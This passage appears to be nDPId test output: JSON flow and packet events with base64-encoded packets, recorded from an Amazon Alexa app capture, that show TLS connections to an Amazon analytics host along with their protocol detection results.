+00432{"flow_id":78,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1150,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":609257,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA00qRAAEAGOYCsECrYIsc08JYEAbs8ApAk8sOni4AQAW0kuQAAAQEICgD2XcxEF4Do"} +00432{"flow_id":78,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1151,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":610173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMDKkaPvePiC0\/vCCABFAAA00qVAAEAGOX+sECrYIsc08JYEAbs8ApAk8sOpeIAQAXkiwAAAAQEICgD2XcxEF4Do"} +00604{"flow_id":78,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1152,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":621157,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AMDKkaPvePiC0\/vCCABFAACy0qZAAEAGOQCsECrYIsc08JYEAbs8ApAk8sOpeIAYAXkmegAAAQEICgD2Xc5EF4DoFgMDAEYQAABCQQSwy3DVfMj9pnVVFSmqsPhNbncc8oXxeNP2XGPnozuBQOQ32hLL8BToNyN9G\/CcsXShYbUSYlqFHTUkIjXuEP2RFAMDAAEBFgMDACgAAAAAAAAAAPLIx+Hh1EiJ40X7nbZoPKkHKOXQ39KH7lYkBnXvwB20"} +00502{"flow_id":78,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1153,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":681895,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ePiC0\/vCAMDKkVoBCABFAABnHOFAAOsGRBAixzTwrBAq2AG7lgTyw6l4PAKQooAYAHfxAwAAAQEICkQXgPsA9l3OFAMDAAEBFgMDACiWhI1ruLIrR8jg9wtW668uNxDVB7PSd256THrnBFN6MD4BwKFzuf16"} +01634{"flow_id":78,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1154,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":695586,"pkt_caplen":950,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":950,"pkt_l4_len":916,"pkt":"AMDKkaPvePiC0\/vCCABFAAOo0qdAAEAGNgmsECrYIsc08JYEAbs8ApCi8sOpq4AYAXmSSwAAAQEICgD2XdVEF4D7FwMDA28AAAAAAAAAASk0WhTCCbEf5uWLi5poSpI4x9VtVao+\/TIbtBw+pyOAboQDvOozHhOegvsi4VLJDcQS6Lcm5eDo6qsnjLfxAno5hsggjdbWfRVYN\/\/1C6MIe9y2xqRa2fa1fG7hOakLsbpU01W+zzHX3Pz5UUmag7zDwCp+oYFdSXSQ1zOjBb6DcYwKWUR2ijb8aRFwSDQYED4EAPD8RJirya+sNPRL6s2dK7yjC9T3Eh2u0HwSgwPYw1RtXx99bSVaC4G6ZhTdJ09gS2LU9Wx8nywszDRdrFi2PHbBYcfNhBHnpWWhyClm\/cWY02reCKYLzjrxI3EGrZO9ynili2n6r1yQVStyn7LSi7coH+EgdWLEGqb9W5ci+jhh34Oo2\/tXSZHKNoJnvcuLhEGHuSVYUTUaGfujPoeUOtk+XwJoHOo2hclBokMaUGdhsIOKR5yG8ayzASPNDTwxhGX9fsJr\/Ab2yXMjjslq0tGVSIcrEwVqSuNCKFKDMhQKU7tRU2bp3Sa5icLUGahyYnU\/xJ2ejSpbaR\/PcWlteqHw81edH6CsXG9ZdR+Vs26tXZTzrmR5tG0z\/Z1+V3iiKWsMDyZtMEVRJlASn0F9aDSSAY42DzlCXkbiXAlagCoyd+I0gjoP8DS\/wSLd3mdx+cMicUWqnwsDe1kMTb4Q7lCe4MqsCPdsArDVM51Sk4m0VcH91neOX+gEZDguFca\/a4yG78RSD7Lz7XNonWBOg9+3K1YECU+gJzZS3WTZZtUoX3o6E\/ujm2oUNJ20Ltf2vxOSkSRN93aWitvWxW\/L4S3GHL6rs5\/V3YZAT\/xuxlVacyvPtiFAKabsW727\/Xb\/Ds5tamntyrGj1cfOCOM8eJGDqtCXXFO+ow3ksexJobHCdOhvtPaUSkYELfXG\/QeQt2kXWf57mLdFq2\/EVYOHpeouY2tnsPAfUvAMgW7a1TF6jWkD+B8wfKX5oQ+IwnuZ77h2RA5W7x3G9A3vbRV5kQfPBN7UDPtVOTMTvD95PLpCI9igdeSCW0FrdWUgQlXfaFVu4gFOhTUjz2U5WdQQ7oDGoJghCUsRietOZRrxuIVuN9Vre4HaitZ3pPO9wM1Vw13nXiK2LkTvJuCH2y65BKm9rHc8qrdCDdVEDGuHEFyMHTHl8Kxr01SaZ+vGuXI4fHbRVEg="} +00502{"flow_id":78,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1155,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976080,"pkt_ts_usec":938221,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ePiC0\/vCAMDKkVoBCABFAABnHOJAAOsGRA8ixzTwrBAq2AG7lgTyw6l4PAKQooAYAHfwwgAAAQEICkQXgTwA9l3OFAMDAAEBFgMDACiWhI1ruLIrR8jg9wtW668uNxDVB7PSd256THrnBFN6MD4BwKFzuf16"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1168,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":79,"flow_packet_id":1,"flow_first_seen":1490976082723,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34053,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":79,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1168,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976082,"pkt_ts_usec":723840,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8n\/hAAEAGdDKsECrYNu8YuoUFAbsbksFnAAAAAKAC\/\/9eHgAAAgQFtAQCCAoA9l6fAAAAAAEDAwg="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1169,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":80,"flow_packet_id":1,"flow_first_seen":1490976082964,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34054,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":80,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1169,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976082,"pkt_ts_usec":964100,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8NvRAAEAG3TasECrYNu8YuoUGAbttlGhMAAAAAKAC\/\/9lHQAAAgQFtAQCCAoA9l64AAAAAAEDAwg="} +00428{"flow_id":79,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1170,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976082,"pkt_ts_usec":969718,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwftZAAOcG7l827xi6rBAq2AG7hQU1exHsG5LBaHASH\/6SVwAAAgQFtAEDAwY="} +00416{"flow_id":79,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1171,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976082,"pkt_ts_usec":973229,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAon\/lAAEAGdEWsECrYNu8YuoUFAbsbksFoNXsR7VAQAVfcyAAA"} +00770{"flow_id":79,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1172,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976082,"pkt_ts_usec":975916,"pkt_caplen":313,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":313,"pkt_l4_len":279,"pkt":"AMDKkaPvePiC0\/vCCABFAAErn\/pAAEAGc0GsECrYNu8YuoUFAbsbksFoNXsR7VAYAVfciQAAFgMBAP4BAAD6AwMHSRC2c+5r\/3MPJESGwrrTfqmqXxfWC6hnzFlITFd0gCAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LgAgCgrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACRGhoAAP8BAAEAAAAALAAqAAAnbW9iaWxlYW5hbHl0aWNzLnVzLWVhc3QtMS5hbWF6b25hd3MuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAISkoAHQAXABi6ugABAA=="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1172,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":79,"flow_packet_id":4,"flow_first_seen":1490976082723,"flow_last_seen":1490976082975,"flow_tot_l4_data_len":367,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":91,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34053,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00428{"flow_id":80,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1173,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":245594,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwWypAAOcGEgw27xi6rBAq2AG7hQaUlSPBbZRoTXASH\/4ogAAAAgQFtAEDAwY="} +00423{"flow_id":79,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1174,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":245729,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoXwRAANsGGjo27xi6rBAq2AG7hQU1exHtG5LBaFAQARzdAwAAAAAAAAAA"} +00423{"flow_id":79,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1175,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":245772,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoXwVAANsGGjk27xi6rBAq2AG7hQU1exHtG5LCa1AQASzb8AAAAAAAAAAA"} +00629{"flow_id":79,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1176,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":245814,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEXwZAANsGGZw27xi6rBAq2AG7hQU1exHtG5LCa1AYASx+uQAAFgMDAGQCAABgAwPehMvu5novbNArKScBJhC9DeefEhWeATMztF98Cop19yAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACiHOfVoJ1AWj9rEVgWapKXkd5\/HZG1P1iTZT389LqD2yhjHifKuHigq"} +00811{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1176,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":79,"flow_packet_id":7,"flow_first_seen":1490976082723,"flow_last_seen":1490976083245,"flow_tot_l4_data_len":583,"flow_min_l4_data_len":20,"flow_max_l4_data_len":279,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.24.186","src_port":34053,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mobileanalytics.us-east-1.amazonaws.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"d199ba0af2b08e204c73d6d81a1fd260","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00415{"flow_id":80,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1177,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":337013,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoNvVAAEAG3UmsECrYNu8YuoUGAbttlGhNlJUjwlAQAVdy8QAA"} +00423{"flow_id":80,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1178,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":441405,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAom51AANsG3aA27xi6rBAq2AG7hQaUlSPCbZRoTVAQARxzLAAAAAAAAAAA"} +00629{"flow_id":79,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1179,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":758587,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"ePiC0\/vCAMDKkVoBCABFAADEXwdAANsGGZs27xi6rBAq2AG7hQU1exHtG5LCa1AYASx+uQAAFgMDAGQCAABgAwPehMvu5novbNArKScBJhC9DeefEhWeATMztF98Cop19yAK8IS3HVgGOc2sZcVp0kAKYJvK21\/4JhIPoGYmpJU7LsAvAAAY\/wEAAQAABQAAABAACwAJCGh0dHAvMS4xFAMDAAEBFgMDACiHOfVoJ1AWj9rEVgWapKXkd5\/HZG1P1iTZT389LqD2yhjHifKuHigq"} +00416{"flow_id":79,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1180,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":926745,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAon\/tAAEAGdEOsECrYNu8YuoUFAbsbksJrNXsSiVAQAVvbJQAA"} +00487{"flow_id":79,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1181,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":927013,"pkt_caplen":105,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":105,"pkt_l4_len":71,"pkt":"AMDKkaPvePiC0\/vCCABFAABbn\/xAAEAGdA+sECrYNu8YuoUFAbsbksJrNXsSiVAYAVut+QAAFAMDAAEBFgMDACgAAAAAAAAAACKMi5jkrbEKMqBPUE63CaQw5XgwZVTWcDJlYzBPIAIa"} +02398{"flow_id":79,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1182,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":943518,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcn\/1AAEAGbo2sECrYNu8YuoUFAbsbksKeNXsSiVAQAVsqDwAAFwMDCxgAAAAAAAAAAQbYW47xmK0kfEsWe84T8WnztSI4X6PmV4ndW6rdH5R6qJRBO4oZeuWVHPZVfDYNMg9cJUj4TrU5anAPuQk4YSKC5swcK6CkKGiWe0qOG\/zZtuaL9XxjtlGxJL8Pys9onCfMhSv62UEhNRU1jhVBBPmC5K\/mym17vW4WUKzf7UsbCyhfFUx5+Vkw3E1dS9xKp\/EH5RSya\/NVWAepM7IbyVdDhJE6yznlA4meHVbNRUxD4dhEvn21SQJdrm4W3SNAj3P7UQogd4H6BQhVIVpWP8lUr2lrhIXhTbJh+ZGGUl6B24f\/CS4JiwcONQvECOJfFTl3St0\/AFbzXlGghBp+6S6pzgW4\/R\/pE3Ky5fPldyka4mEhpVDzNLrUd0l6IZYsqEU+qHqBF12KokLHEXnOKVHsJyfo6WLJ4rI2izT0ncqvZgYt7RTeD1oyG4KkAqu+\/6SWlh4G2gax54Kjgz\/d80++wX3+EUqWzjXSFXbueUkwZNbfT0qkKXJ9uFhdciATbkYATYiXStXh02uwHH42gp3cMHA3kQwMjZPpT4wCzK5L+S8xkWZ17LlI0VWuoiDiyq7+z3WhmvN+NDXLqUWqSk6BADE+zrCwpKYeZtlsmzJmm+w0eNwl9LdHhJcqeDuRtIHlF5MWt+pc8Xi1YpLQn8FcrjUUaPGVI4oT\/pEw7PWD2QvKuo04\/YM4xiVBUAKyhPV\/ZzjVHFKw0zZ8iFcRo1iePV+nCeqq9f0DMy3hQuYQEppFgUIJ5G0EfdyAypeZkNRdqjrFEMasyV4nPWUP3yabbZ0s3NOS6mtZUfO9GyQATktEng2YKzNicuRyxU7GsESKK+WyPJkYyoqBw0aKmNIq3Mh2G3Ohefzdje9s5Yg0VQSjWmYl4mLgHwgXSnMXDdmMbczRYczxAdoLmUQrIwBBh7Eq02WlZXIqf12EjYheDpUR\/xnyP0hQQpQoFo5tBYmlF0lkl2cKpKqNOOC6X\/h\/xoe5ia88z4b6FKiUvMRVd7Q58w6nfK+9Np+LsclrtLoTE3exNtrYE3z66U1wbelu+ujx1ViFR4\/uA8GqdlcweXKNcCdQdrCdRCqo4KULTdhh5FYCVYDNgIwudd2dvAkc5sFMk8X91fc7TsiNJlLgtmlLtB4DkZWgPhioKgQuSUvviRibWP59UFwCsnMOXhADQOh6JCexqTzHLb4\/K0fqZbfvhQnAcVqgtIPeAb+UFM15915fPOniU7\/VULd27Ytp31EjhI0jfc1iaWnfUuQKT7QpMOdEfTeiT9HAD+1Pju9DqTrKl5P73Xzx+zBz13c8LM25GsGEWq16ZEWYElQjCVBACsknjYS33bhKpoxzdVnQcE9UAQubuID7f4mf7p\/Kh014C4OGVhb8xr6VoGj\/3\/tox4M7N45AYuTo9dc4gRuZbHbCIiymizlyVcHgx+t9TuB+tmNhqnHHHxyhUw5N0HZOUl5w1T0BoV+Sy1HzNDMVZVcY+5O8jZLgGfrIj\/vINPt0o3SHkqDYWyTRvMb9aLPVITbBhVuLY7+Z4Io2O305SR4jCXUYzTx\/uppg76tjqw6DFbi+cIOSWfQy0msICh0S3S4c6e7vUzYuuyPWh0vR0dqE6cCdGfxcA+AOOz2hyVsHDabQnXHTk4ruYO5XQ3hz15KIIddqOT+IAVgbTrhKeVjxJpuW0rjIU23BpLaSbPSQ0oaFH2xt8rdEcr9Pmf+ShYCLqAmMY6+kQY5ZypBYVnup+tpWl1FWrlU\/NS7Zc8BHJL6je9a5FLyxs2aZl7nSJLN0NsZxSWtfeXp8pGSWC91usCTdPWMslS6qieAha1mpPpO2bdI8iBBFiz\/YIuWH5iMbREYGx9VytZyi6djLUcHhh+EzKs6A6O1FGSQirTZlxu9mFdf7+Sj3wh0tKCm\/tyChYt7mnmZ92NeSAOJlhxNHS2M="} +02304{"flow_id":79,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1183,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":943807,"pkt_caplen":1439,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1439,"pkt_l4_len":1405,"pkt":"AMDKkaPvePiC0\/vCCABFAAWRn\/5AAEAGbtesECrYNu8YuoUFAbsbkshSNXsSiVAYAVtsmQAAXidCH2mD8kKJCtZeNW5E9+ywx2kpDXIBv8KBI\/ROXfj9y3RQXBCMhnm7CKmxk\/CE6KP9izChPKYui7kdvkxeqvCA7EcvhVmMH0EmENyu0ZFywnLElWN7wi5LsaRfrtj2v33kEPrg2OZGXdM4jynWcGKqtQBTD8VI3m47g\/8dRHS0QvENZgoJRdyZk5fpL6m0Vtatma0B20YzvztwufYBifhI+pq2+xRWl+u2NgyvuWkB6bW4LfRxsGtRCfRyXj80irrRcNlimeG\/WCMUJBn3njfcUhdgIl6m3Xz8pvIH7aVKs6xeWsqhAxWrsAiRsiBxsPKqeY8rCH\/qo37fhqh+AStqO5JtEyeE8cJUbLxKBtLun+\/\/gi94VMGn6U+imgy02PzL4mQ9A234papkjKHC+yahnKU6HZFZS5oAWhZ9eWyPb1WxjhsmTV2sCfTeAsmMMXmwCstNuziJD\/R1bSgvnniAkRXJdE8S9GHmeOriLRGW9S+CNbCEqOTYhg59GwI0hOp5qcBPCF0FiP8FHYHAagH+Yha\/ECmO8l5+yn3MPX985CUsr2yxiZE58dtuPedbRcQd7zK8IYPPTB7G+WspaMn6LgsDrmdKUa47x5vxUeK5CKZOm0xPpWNv44F818VeXD+BsWSPOT0I17lMcbqNj\/Z49IZFEqK7tcIyNVPubKsNvNQ3jP1\/DOW6R4P4IUAe8NjnSBcGeo9hpABtmQ1BYMKBBnJEiGt\/uSy4eSpUSDIIV1c69jXOsGRdlULaNl1ZgT\/V4Fk9irNdlYyX6MQTdkMJkdB+bVVmFajVQsMwTSOUwTPGaSGEmF2\/eSPm6AYNdIAK8Ew61JpuvLosBcBOvxl\/erYzzzhmTgag9mJvJg0WGFmG8t1Cn7Jy9h\/ybwAMqr1RpXj\/2UkNDnABo0kO1OsQhrEAv8rpKHDu+d5zKvMimY5BvEdwa2gxiWC\/tT\/2kMesyuqxzkF2iMg\/QqAAzAkxYHGWqpuIKgeA5zGYEkAVdt51loPWIT6TzW6IhFzGhXtqk0CPVsyVDWZAweohG5H08IHmgW20gHrybZLJNVKQ\/niKkbQs5PDFxEoXH37bQUCL65cmbnNtiAcglg0nIwlfvxlHrOmU4Osx1R5NwWB0OgxbuT61ytOopcKRYAbYfbJn2FAZyPxcUG4mwQ\/Q79csW9GwiLaD7MR2VPrBPoWR3eBLI92PVrj44+M9zFPiW8KkxRc7BeyEiS5y9LH+8G\/OTPWbjbVewVM0dK5BH4L7eYjWEc4K91nyrHlP3b3pUbsOdiVbImXKA+jNWKdm1xcWzXemi1GcYv\/jiwJ323xukiCGrVFUshlBhwl4+aV7vkv2zAqpexqO8qd5TutBUyPTFTmhBSHxv599+5NPMpYwkd74GixN7qK9iipZG\/FERG50SIr5pqekfX1c7RZ6YHWonPn6BWQ2HRcLmkl\/EpzcvSCI2GSgpDgtgtZAooJOc6UiJFSnzcEG\/N3plNItxKOvaEZIBTVAx2Ja98d4HuuAhI+rhAfcWuDFfk8j4iTpSH8w2gdeoHqqCUWdxEpXLVv8CAd3xUVaZ5YlnS68Vigiu+Mtdm1CFvZFzOJryZQuKyHWH5Uzt8RFFZSpYqYXu47zV67BaDcrh4B2ETUPK4vjbBoY1DFI3+AIBKZDvRundcyxofFIqVdaF5VWX1P+0XlhooInocgMe\/u0YqhCs0h75Fbvf6JSP1f4RneHHI7HexPG4\/77T\/ZpXuSSlIqiwPgJQcy+zSLWlW1tK0XsBDwhoWGb\/IS0aiDSGVhrSnMHXC9rkA4HHxpooMsEVNvFJRz\/NkQMnhTDbg\/Oqa6HE5OJPr+hkgojCNw="} +01985{"flow_id":79,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1184,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976083,"pkt_ts_usec":944049,"pkt_caplen":1212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1212,"pkt_l4_len":1178,"pkt":"AMDKkaPvePiC0\/vCCABFAASun\/9AAEAGb7msECrYNu8YuoUFAbsbks27NXsSiVAYAVt4HgAAFwMDBIEAAAAAAAAAAoK2OoggAoBFHfBlCJumnlSX0hkk2YzFuIZcagsQFTQCC9pqjuaaEg1QQ7euynSEq3afCCHHdqQAuRhrz1jcIIE1eQuMAIrKGOAR1FbEF87RFTftg8Frc+P\/PI\/bwUknr4DFollL81z77zhM98B7NKFFTGT7lEw4VZMRVSEaU6buX+pgypKLYnGgLH9jaBnxwyyeGHkV9hRPgRJxPLDtibsY4WAJcZLWAItpiZ9zVAlItIC3FC33E1BLd9pVa2P+Zz9N\/MOfE3\/PXQjVQWYtu5kFd7Qvk\/+suqOaolBFC2lmmvj7gbj33su5pvrkqmhXn9htSv9+POJAOCjlzJdJKk3+cKMHIHxIlEkGFGshcUTEGMRA6rutYw9pdx6oTMvs+bHDZ8rHwvZ3\/891EWAhs7B4JtzbA46eCXbICbxqm0bdmVGWEtRzJPmm\/fxUBDPryl1YCUiAyYmbBZHUA+DR9BOM2CLhzJKXdl+yGhfX900eswY4zoAr2dHgdiMoIrDucry+TLd9U280Ue5BPh7yL0Ga4m9au5FASV6jrQXuZ6rHya5OKkCz7ZFB4wRQQb6ErZ4mtATxlUgN8csX4KjqJqHy8JVzvNEHcRCQScehZL77a4U8778mnDUDOdTx0PVv0fgc02nnZDT+17zguX3xg728aX+clQBdfKe5VV+I34L6e058yLMV6j4yBJfkYN+k9emBV+d5gGzhHNJSfQdDY71eXsVqBvGEXHUUdAZDpZ748\/e5+1JQsVBGAQnhD5CUWD7DX7utFwQ3EPiWpMB3nNJcj8JE1NJDVtwJFXwlYfjH3o9XtX2HL7xH13KUqLIVwGiFIifpM+P0EI\/4dPhT\/ONMmfJIWLxjLqWdWm5M8B2JT0Fehb9s7r3WX8qKst3OOtCpmbhSMiHw7ltlKSaS+awB8eaNvdbK1ksJ9NtNMQ2AQ5Af7ocfhu5yPNOW69LjPIzVZyzhOJxNLAC8bylGbZFucqnzI5H1GXWk0C0h\/xVR5qqlRCgLySB40APS9Dh\/emjZK\/3Dch5jyee0s7ek1sMMkICsf7FoqiiRlNAs7zRKyIBSkqeiYfqmFBb11kEc6q01AEn0vpEMhGyfj7JCbE0fC5OsIPgEO7VsdFzNml8VS0WPB3SH9Tct5l3MrjZBjl\/UGaWlbPG9w77DyTazn3S0MctQcl9VrhNZ7NEDntyGh51dDIXcHADqg0uTLXB